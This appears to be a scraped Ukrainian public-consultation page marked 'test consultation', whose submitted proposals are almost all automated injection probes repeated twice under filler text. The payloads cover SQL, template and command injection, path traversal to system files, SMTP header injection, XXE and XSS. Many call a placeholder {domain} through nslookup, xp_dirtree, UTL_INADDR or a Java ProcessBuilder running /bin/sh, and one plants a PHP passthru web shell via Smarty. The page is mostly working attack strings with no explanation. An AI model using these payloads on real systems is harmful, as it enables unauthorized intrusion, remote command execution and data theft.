asdsadasdasd asd dasd
fsdsdf
Поскаржитися на зміст
Тестова консультація 20.05
Завершено25.05.2025
Переглядів17
Пропозицій163
Зміст консультаційного документу
Яку проблему обговорюємо?
Опис консультації
Пропозиції
Поки що немає жодних пропозицій онлайн.
Консультацію завершено. Зібрано 163 пропозицій онлайн.
asdsadasdasd asd dasd
івавіаіваіва
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}'||'
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}' '
Поскаржитися на зміст
asdsadasdasd asd dasd
івавіаіваіва
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}'+'
Поскаржитися на зміст
asdsadasdasd asd dasd
\\
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}*1
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}-0
Поскаржитися на зміст
asdsadasdasd asd dasd
\
Поскаржитися на зміст
asdsadasdasd asd dasd
''
Поскаржитися на зміст
asdsadasdasd asd dasd
'
Поскаржитися на зміст
asdsadasdasd asd dasd
""
Поскаржитися на зміст
asdsadasdasd asd dasd
"
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}"||"
Поскаржитися на зміст
asdsadasdasd asd dasd
'{base}'
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}/*_*/
Поскаржитися на зміст
asdsadasdasd asd dasd
"{base}"
Поскаржитися на зміст
asdsadasdasd asd dasd
({base})
Поскаржитися на зміст
asdsadasdasd asd dasd
`
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}'--
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}')--
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}'))--
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}'#
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}')#
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}'))#
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}' and 'z'='z
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}' or 'z'='z
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}" or "z"="z
Поскаржитися на зміст
asdsadasdasd asd dasd
}}
Поскаржитися на зміст
asdsadasdasd asd dasd
${77*77}
Поскаржитися на зміст
asdsadasdasd asd dasd
{{77*77}}
Поскаржитися на зміст
asdsadasdasd asd dasd
xsstest'"><
Поскаржитися на зміст
asdsadasdasd asd dasd
/{base}
Поскаржитися на зміст
asdsadasdasd asd dasd
./{base}
Поскаржитися на зміст
asdsadasdasd asd dasd
../{base}
Поскаржитися на зміст
asdsadasdasd asd dasd
/./{base}
Поскаржитися на зміст
asdsadasdasd asd dasd
/../{base}
Поскаржитися на зміст
asdsadasdasd asd dasd
xxx/../{base}
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}::$DATA
Поскаржитися на зміст
asdsadasdasd asd dasd
../../../../../../../../../../../../etc/hosts
Поскаржитися на зміст
asdsadasdasd asd dasd
..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini
Поскаржитися на зміст
asdsadasdasd asd dasd
../../../../../../../../../../boot.ini
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}))))))))))
Поскаржитися на зміст
asdsadasdasd asd dasd
../../../../../../../../../../windows/win.ini
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}| ping -i 30 127.0.0.1 |
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}| ping -n 30 127.0.0.1 |
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}& ping -i 30 127.0.0.1 &
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}& ping -n 30 127.0.0.1 &
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}; ping -c 5 127.0.0.1 ;
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}
ping -i 30 127.0.0.1
Поскаржитися на зміст
asdsadasdasd asd dasd
`ping -c 5 127.0.0.1`
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}| id
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}& id
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}; id
Поскаржитися на зміст
asdsadasdasd asd dasd
`id`
Поскаржитися на зміст
asdsadasdasd asd dasd
;echo 111111
Поскаржитися на зміст
asdsadasdasd asd dasd
echo 111111
Поскаржитися на зміст
asdsadasdasd asd dasd
response.write 111111
Поскаржитися на зміст
asdsadasdasd asd dasd
:response.write 111111
Поскаржитися на зміст
asdsadasdasd asd dasd
http://{domain}/
Поскаржитися на зміст
asdsadasdasd asd dasd
foo@{domain}
Cc:foo@{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
foo@{domain}
Cc:foo@{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
foo@{domain}
Bcc:foo@{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
foo@{domain}
Bcc:foo@{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}
DATA
foo
.
MAIL+FROM:+foo@{domain}
RCPT+TO:+foo@{domain}
DATA
From:+foo@{domain}
To:+foo@{domain}
Subject:+tst
foo
.
Поскаржитися на зміст
asdsadasdasd asd dasd
DATA
foo
.
MAIL+FROM:+foo@{domain}
RCPT+TO:+foo@{domain}
DATA
From:+foo@{domain}
To:+foo@{domain}
Subject:+test
foo
.
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}","x":"
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}"],"x":["
Поскаржитися на зміст
asdsadasdasd asd dasd
{base},"x":1
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}" a="
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}" xmlns:xsi="
Поскаржитися на зміст
asdsadasdasd asd dasd
{base} a=""
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}' xmlns:xsi='
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}' a='
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}<!--xx-->
Поскаржитися на зміст
asdsadasdasd asd dasd
<![CDATA[{base}]]>
Поскаржитися на зміст
asdsadasdasd asd dasd
<a>{base}</a>
Поскаржитися на зміст
asdsadasdasd asd dasd
xsstest
Поскаржитися на зміст
asdsadasdasd asd dasd
{77*77}
Поскаржитися на зміст
asdsadasdasd asd dasd
{{{77*77}}}
Поскаржитися на зміст
asdsadasdasd asd dasd
${{77*77}}
Поскаржитися на зміст
asdsadasdasd asd dasd
#{77*77}
Поскаржитися на зміст
asdsadasdasd asd dasd
[[77*77]]
Поскаржитися на зміст
asdsadasdasd asd dasd
{{=77*77}}
Поскаржитися на зміст
asdsadasdasd asd dasd
[[${77*77}]]
Поскаржитися на зміст
asdsadasdasd asd dasd
${xyz|77*77}
Поскаржитися на зміст
asdsadasdasd asd dasd
#set($x=77*77)${x}
Поскаржитися на зміст
asdsadasdasd asd dasd
@(77*77)
Поскаржитися на зміст
asdsadasdasd asd dasd
<p th:text='${#ctx.getClass()}'></p>
Поскаржитися на зміст
asdsadasdasd asd dasd
${#ctx.getClass()}
Поскаржитися на зміст
asdsadasdasd asd dasd
<#assign xy="zxxxxxxz"><#assign yx="zyyyyyyz">${yx}${xy}
Поскаржитися на зміст
asdsadasdasd asd dasd
nslookup {domain}&
Поскаржитися на зміст
asdsadasdasd asd dasd
`nslookup {domain}`
Поскаржитися на зміст
asdsadasdasd asd dasd
|nslookup {domain}&
Поскаржитися на зміст
asdsadasdasd asd dasd
'"`0&nslookup {domain}&`'
Поскаржитися на зміст
asdsadasdasd asd dasd
&nslookup -q=cname {domain}&'\"`0&nslookup {domain}&`'
Поскаржитися на зміст
asdsadasdasd asd dasd
+eval("require'socket'\nSocket.gethostbyname('{domain}')")+'
Поскаржитися на зміст
asdsadasdasd asd dasd
eval("require'socket'\nSocket.gethostbyname('{domain}')")
Поскаржитися на зміст
asdsadasdasd asd dasd
"+eval("require'socket'\nSocket.gethostbyname('{domain}')")+"
Поскаржитися на зміст
asdsadasdasd asd dasd
'+eval(compile('for x in range(1):\n import socket\n socket.gethostbyname("{domain}")','a','single'))+'
Поскаржитися на зміст
asdsadasdasd asd dasd
eval(compile('for x in range(1):\n import socket\n socket.gethostbyname("{domain}")','a','single'))
Поскаржитися на зміст
asdsadasdasd asd dasd
gethostbyname('{domain}')
Поскаржитися на зміст
asdsadasdasd asd dasd
'.gethostbyname('{domain}').'
Поскаржитися на зміст
asdsadasdasd asd dasd
'.gethostbyname("{domain}").'
Поскаржитися на зміст
asdsadasdasd asd dasd
{${gethostbyname("{domain}")}}
Поскаржитися на зміст
asdsadasdasd asd dasd
require('child_process').exec('nslookup {domain}')
Поскаржитися на зміст
asdsadasdasd asd dasd
'-require('child_process').exec('nslookup {domain}')-'
Поскаржитися на зміст
asdsadasdasd asd dasd
"-require("child_process").exec("nslookup {domain}")-"
Поскаржитися на зміст
asdsadasdasd asd dasd
||UTL_INADDR.get_host_address('{domain}')
Поскаржитися на зміст
asdsadasdasd asd dasd
'||UTL_INADDR.get_host_address('{domain}')||'
Поскаржитися на зміст
asdsadasdasd asd dasd
UTL_INADDR.get_host_address(ORACLE_ENCODE_STRING({domain}))
Поскаржитися на зміст
asdsadasdasd asd dasd
or chr(1)=UTL_INADDR.get_host_address(ORACLE_ENCODE_STRING({domain}))
Поскаржитися на зміст
asdsadasdasd asd dasd
(select load_file('\\\\{domain}\\c'))
Поскаржитися на зміст
asdsadasdasd asd dasd
1;EXEC master..xp_dirtree '\\{domain}\s'--
Поскаржитися на зміст
asdsadasdasd asd dasd
;EXEC master..xp_dirtree '\\{domain}\s'--
Поскаржитися на зміст
asdsadasdasd asd dasd
'+(select load_file('\\\\{domain}\\e'))+'
Поскаржитися на зміст
asdsadasdasd asd dasd
';EXEC master..xp_dirtree '\\{domain}\s'--
Поскаржитися на зміст
asdsadasdasd asd dasd
');EXEC master..xp_dirtree '\\{domain}\s'--
Поскаржитися на зміст
asdsadasdasd asd dasd
;EXEC master..xp_dirtree "\\{domain}\s"--
Поскаржитися на зміст
asdsadasdasd asd dasd
1;EXEC master..xp_dirtree "\\{domain}\s"--
Поскаржитися на зміст
asdsadasdasd asd dasd
";EXEC master..xp_dirtree "\\{domain}\s"--
Поскаржитися на зміст
asdsadasdasd asd dasd
");EXEC master..xp_dirtree "\\{domain}\s"--
Поскаржитися на зміст
asdsadasdasd asd dasd
"='';EXEC master..xp_dirtree "\\{domain}\s"--
Поскаржитися на зміст
asdsadasdasd asd dasd
"='');EXEC master..xp_dirtree "\\{domain}\s"--
Поскаржитися на зміст
asdsadasdasd asd dasd
;DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
1;DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
';DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
');DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
";DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
");DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
"='';DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
"='');DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
\';DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
\";DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
rmi://{domain}/go
Поскаржитися на зміст
asdsadasdasd asd dasd
ldap://{domain}/cn=bar,dc=test,dc=org
Поскаржитися на зміст
asdsadasdasd asd dasd
" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://{domain}/x.xsd
Поскаржитися на зміст
asdsadasdasd asd dasd
<a xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://{domain}/x.xsd"><b></b></a>
Поскаржитися на зміст
asdsadasdasd asd dasd
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://{domain}/xincl"></xi:include></data>
Поскаржитися на зміст
asdsadasdasd asd dasd
<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE a SYSTEM "http://{domain}/xxx"><a></a>
Поскаржитися на зміст
asdsadasdasd asd dasd
*/--></script></title></textarea></noscript></style></xmp></noembed></comment></noframes></xml></iframe>"'><script>document.write('<img src=//{domain}/'+document.domain+'>')</script>
Поскаржитися на зміст
asdsadasdasd asd dasd
*/--></script></title></textarea></noscript></style></xmp></noembed></comment></noframes></xml></iframe>"'><img src="//{domain}/image.jpg">
Поскаржитися на зміст
asdsadasdasd asd dasd
"-->'-->`--><!--#set var="suc" value="rtb97y3o64"--><!--#set var="uwe" value="tvdb905q86"--><!--#echo var="suc"--><!--#echo var="uwe"--><!--#exec cmd="nslookup {domain}" -->
Поскаржитися на зміст
asdsadasdasd asd dasd
javascript:/*</script><img/onerror='-/"/-/ onmouseover=1/-/[`*/[]/[(new(Image)).src=(/;/+/rkf9yyuox44dahzjkookgz001r7ovej6au1koaczX;.{domain}/).replace(/.;/g,[])]//'src=>
Поскаржитися на зміст
asdsadasdasd asd dasd
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("nslookup {domain}") }
Поскаржитися на зміст
asdsadasdasd asd dasd
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['nslookup {domain}']); ?>",self::clearConfig())}
Поскаржитися на зміст
asdsadasdasd asd dasd
{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
http://{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
https://{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
{!xmlparser v='<!DOCTYPE a SYSTEM "http://{domain}/sr"><a></a>'}
Поскаржитися на зміст
asdsadasdasd asd dasd
" {!xmlparser v='<!DOCTYPE a SYSTEM "http://{domain}/sr"><a></a>'} "
Поскаржитися на зміст
asdsadasdasd asd dasd
") {!xmlparser v='<!DOCTYPE a SYSTEM "http://{domain}/sr"><a></a>'} ("
Поскаржитися на зміст
asdsadasdasd asd dasd
&shards={domain}/sr
Поскаржитися на зміст
asdsadasdasd asd dasd
#{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"nslookup {domain}\"]).start()")}
Поскаржитися на зміст
asdsadasdasd asd dasd
}#{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"nslookup {domain}\"]).start()")}#{
Поскаржитися на зміст
asdsadasdasd asd dasd
#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('new java.lang.ProcessBuilder[\'(java.lang.String[])\']([\'/bin/sh\',\'-c\',\'nslookup {domain}\']).start()')}
Поскаржитися на зміст
asdsadasdasd asd dasd
}#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('new java.lang.ProcessBuilder[\'(java.lang.String[])\']([\'/bin/sh\',\'-c\',\'nslookup {domain}\']).start()')}#{
Поскаржитися на зміст
asdsadasdasd asd dasd
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"nslookup {domain}\"]).start()")}
Поскаржитися на зміст
asdsadasdasd asd dasd
}${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"nslookup {domain}\"]).start()")}${
Поскаржитися на зміст
asdsadasdasd asd dasd
${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('new java.lang.ProcessBuilder[\'(java.lang.String[])\']([\'/bin/sh\',\'-c\',\'nslookup {domain}\']).start()')}
Поскаржитися на зміст
asdsadasdasd asd dasd
}${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('new java.lang.ProcessBuilder[\'(java.lang.String[])\']([\'/bin/sh\',\'-c\',\'nslookup {domain}\']).start()')}${
Поскаржитися на зміст
asdsadasdasd asd dasd
fsdsdf
Поскаржитися на зміст
asdsadasdasd asd dasd
івавіаіваіва
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}'||'
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}' '
Поскаржитися на зміст
asdsadasdasd asd dasd
івавіаіваіва
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}'+'
Поскаржитися на зміст
asdsadasdasd asd dasd
\\
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}*1
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}-0
Поскаржитися на зміст
asdsadasdasd asd dasd
\
Поскаржитися на зміст
asdsadasdasd asd dasd
''
Поскаржитися на зміст
asdsadasdasd asd dasd
'
Поскаржитися на зміст
asdsadasdasd asd dasd
""
Поскаржитися на зміст
asdsadasdasd asd dasd
"
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}"||"
Поскаржитися на зміст
asdsadasdasd asd dasd
'{base}'
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}/*_*/
Поскаржитися на зміст
asdsadasdasd asd dasd
"{base}"
Поскаржитися на зміст
asdsadasdasd asd dasd
({base})
Поскаржитися на зміст
asdsadasdasd asd dasd
`
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}'--
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}')--
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}'))--
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}'#
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}')#
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}'))#
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}' and 'z'='z
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}' or 'z'='z
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}" or "z"="z
Поскаржитися на зміст
asdsadasdasd asd dasd
}}
Поскаржитися на зміст
asdsadasdasd asd dasd
${77*77}
Поскаржитися на зміст
asdsadasdasd asd dasd
{{77*77}}
Поскаржитися на зміст
asdsadasdasd asd dasd
xsstest'"><
Поскаржитися на зміст
asdsadasdasd asd dasd
/{base}
Поскаржитися на зміст
asdsadasdasd asd dasd
./{base}
Поскаржитися на зміст
asdsadasdasd asd dasd
../{base}
Поскаржитися на зміст
asdsadasdasd asd dasd
/./{base}
Поскаржитися на зміст
asdsadasdasd asd dasd
/../{base}
Поскаржитися на зміст
asdsadasdasd asd dasd
xxx/../{base}
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}::$DATA
Поскаржитися на зміст
asdsadasdasd asd dasd
../../../../../../../../../../../../etc/hosts
Поскаржитися на зміст
asdsadasdasd asd dasd
..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini
Поскаржитися на зміст
asdsadasdasd asd dasd
../../../../../../../../../../boot.ini
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}))))))))))
Поскаржитися на зміст
asdsadasdasd asd dasd
../../../../../../../../../../windows/win.ini
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}| ping -i 30 127.0.0.1 |
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}| ping -n 30 127.0.0.1 |
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}& ping -i 30 127.0.0.1 &
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}& ping -n 30 127.0.0.1 &
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}; ping -c 5 127.0.0.1 ;
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}
ping -i 30 127.0.0.1
Поскаржитися на зміст
asdsadasdasd asd dasd
`ping -c 5 127.0.0.1`
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}| id
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}& id
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}; id
Поскаржитися на зміст
asdsadasdasd asd dasd
`id`
Поскаржитися на зміст
asdsadasdasd asd dasd
;echo 111111
Поскаржитися на зміст
asdsadasdasd asd dasd
echo 111111
Поскаржитися на зміст
asdsadasdasd asd dasd
response.write 111111
Поскаржитися на зміст
asdsadasdasd asd dasd
:response.write 111111
Поскаржитися на зміст
asdsadasdasd asd dasd
http://{domain}/
Поскаржитися на зміст
asdsadasdasd asd dasd
foo@{domain}
Cc:foo@{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
foo@{domain}
Cc:foo@{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
foo@{domain}
Bcc:foo@{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
foo@{domain}
Bcc:foo@{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}
DATA
foo
.
MAIL+FROM:+foo@{domain}
RCPT+TO:+foo@{domain}
DATA
From:+foo@{domain}
To:+foo@{domain}
Subject:+tst
foo
.
Поскаржитися на зміст
asdsadasdasd asd dasd
DATA
foo
.
MAIL+FROM:+foo@{domain}
RCPT+TO:+foo@{domain}
DATA
From:+foo@{domain}
To:+foo@{domain}
Subject:+test
foo
.
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}","x":"
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}"],"x":["
Поскаржитися на зміст
asdsadasdasd asd dasd
{base},"x":1
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}" a="
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}" xmlns:xsi="
Поскаржитися на зміст
asdsadasdasd asd dasd
{base} a=""
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}' xmlns:xsi='
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}' a='
Поскаржитися на зміст
asdsadasdasd asd dasd
{base}<!--xx-->
Поскаржитися на зміст
asdsadasdasd asd dasd
<![CDATA[{base}]]>
Поскаржитися на зміст
asdsadasdasd asd dasd
<a>{base}</a>
Поскаржитися на зміст
asdsadasdasd asd dasd
xsstest
Поскаржитися на зміст
asdsadasdasd asd dasd
{77*77}
Поскаржитися на зміст
asdsadasdasd asd dasd
{{{77*77}}}
Поскаржитися на зміст
asdsadasdasd asd dasd
${{77*77}}
Поскаржитися на зміст
asdsadasdasd asd dasd
#{77*77}
Поскаржитися на зміст
asdsadasdasd asd dasd
[[77*77]]
Поскаржитися на зміст
asdsadasdasd asd dasd
{{=77*77}}
Поскаржитися на зміст
asdsadasdasd asd dasd
[[${77*77}]]
Поскаржитися на зміст
asdsadasdasd asd dasd
${xyz|77*77}
Поскаржитися на зміст
asdsadasdasd asd dasd
#set($x=77*77)${x}
Поскаржитися на зміст
asdsadasdasd asd dasd
@(77*77)
Поскаржитися на зміст
asdsadasdasd asd dasd
<p th:text='${#ctx.getClass()}'></p>
Поскаржитися на зміст
asdsadasdasd asd dasd
${#ctx.getClass()}
Поскаржитися на зміст
asdsadasdasd asd dasd
<#assign xy="zxxxxxxz"><#assign yx="zyyyyyyz">${yx}${xy}
Поскаржитися на зміст
asdsadasdasd asd dasd
nslookup {domain}&
Поскаржитися на зміст
asdsadasdasd asd dasd
`nslookup {domain}`
Поскаржитися на зміст
asdsadasdasd asd dasd
|nslookup {domain}&
Поскаржитися на зміст
asdsadasdasd asd dasd
'"`0&nslookup {domain}&`'
Поскаржитися на зміст
asdsadasdasd asd dasd
&nslookup -q=cname {domain}&'\"`0&nslookup {domain}&`'
Поскаржитися на зміст
asdsadasdasd asd dasd
+eval("require'socket'\nSocket.gethostbyname('{domain}')")+'
Поскаржитися на зміст
asdsadasdasd asd dasd
eval("require'socket'\nSocket.gethostbyname('{domain}')")
Поскаржитися на зміст
asdsadasdasd asd dasd
"+eval("require'socket'\nSocket.gethostbyname('{domain}')")+"
Поскаржитися на зміст
asdsadasdasd asd dasd
'+eval(compile('for x in range(1):\n import socket\n socket.gethostbyname("{domain}")','a','single'))+'
Поскаржитися на зміст
asdsadasdasd asd dasd
eval(compile('for x in range(1):\n import socket\n socket.gethostbyname("{domain}")','a','single'))
Поскаржитися на зміст
asdsadasdasd asd dasd
gethostbyname('{domain}')
Поскаржитися на зміст
asdsadasdasd asd dasd
'.gethostbyname('{domain}').'
Поскаржитися на зміст
asdsadasdasd asd dasd
'.gethostbyname("{domain}").'
Поскаржитися на зміст
asdsadasdasd asd dasd
{${gethostbyname("{domain}")}}
Поскаржитися на зміст
asdsadasdasd asd dasd
require('child_process').exec('nslookup {domain}')
Поскаржитися на зміст
asdsadasdasd asd dasd
'-require('child_process').exec('nslookup {domain}')-'
Поскаржитися на зміст
asdsadasdasd asd dasd
"-require("child_process").exec("nslookup {domain}")-"
Поскаржитися на зміст
asdsadasdasd asd dasd
||UTL_INADDR.get_host_address('{domain}')
Поскаржитися на зміст
asdsadasdasd asd dasd
'||UTL_INADDR.get_host_address('{domain}')||'
Поскаржитися на зміст
asdsadasdasd asd dasd
UTL_INADDR.get_host_address(ORACLE_ENCODE_STRING({domain}))
Поскаржитися на зміст
asdsadasdasd asd dasd
or chr(1)=UTL_INADDR.get_host_address(ORACLE_ENCODE_STRING({domain}))
Поскаржитися на зміст
asdsadasdasd asd dasd
(select load_file('\\\\{domain}\\c'))
Поскаржитися на зміст
asdsadasdasd asd dasd
1;EXEC master..xp_dirtree '\\{domain}\s'--
Поскаржитися на зміст
asdsadasdasd asd dasd
;EXEC master..xp_dirtree '\\{domain}\s'--
Поскаржитися на зміст
asdsadasdasd asd dasd
'+(select load_file('\\\\{domain}\\e'))+'
Поскаржитися на зміст
asdsadasdasd asd dasd
';EXEC master..xp_dirtree '\\{domain}\s'--
Поскаржитися на зміст
asdsadasdasd asd dasd
');EXEC master..xp_dirtree '\\{domain}\s'--
Поскаржитися на зміст
asdsadasdasd asd dasd
;EXEC master..xp_dirtree "\\{domain}\s"--
Поскаржитися на зміст
asdsadasdasd asd dasd
1;EXEC master..xp_dirtree "\\{domain}\s"--
Поскаржитися на зміст
asdsadasdasd asd dasd
";EXEC master..xp_dirtree "\\{domain}\s"--
Поскаржитися на зміст
asdsadasdasd asd dasd
");EXEC master..xp_dirtree "\\{domain}\s"--
Поскаржитися на зміст
asdsadasdasd asd dasd
"='';EXEC master..xp_dirtree "\\{domain}\s"--
Поскаржитися на зміст
asdsadasdasd asd dasd
"='');EXEC master..xp_dirtree "\\{domain}\s"--
Поскаржитися на зміст
asdsadasdasd asd dasd
;DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
1;DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
';DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
');DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
";DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
");DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
"='';DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
"='');DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
\';DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
\";DECLARE @x AS VARCHAR(255);select @x=MSSQL_ENCODE_STRING(master..xp_dirtree '\\{domain}\s');EXEC(@x)--
Поскаржитися на зміст
asdsadasdasd asd dasd
rmi://{domain}/go
Поскаржитися на зміст
asdsadasdasd asd dasd
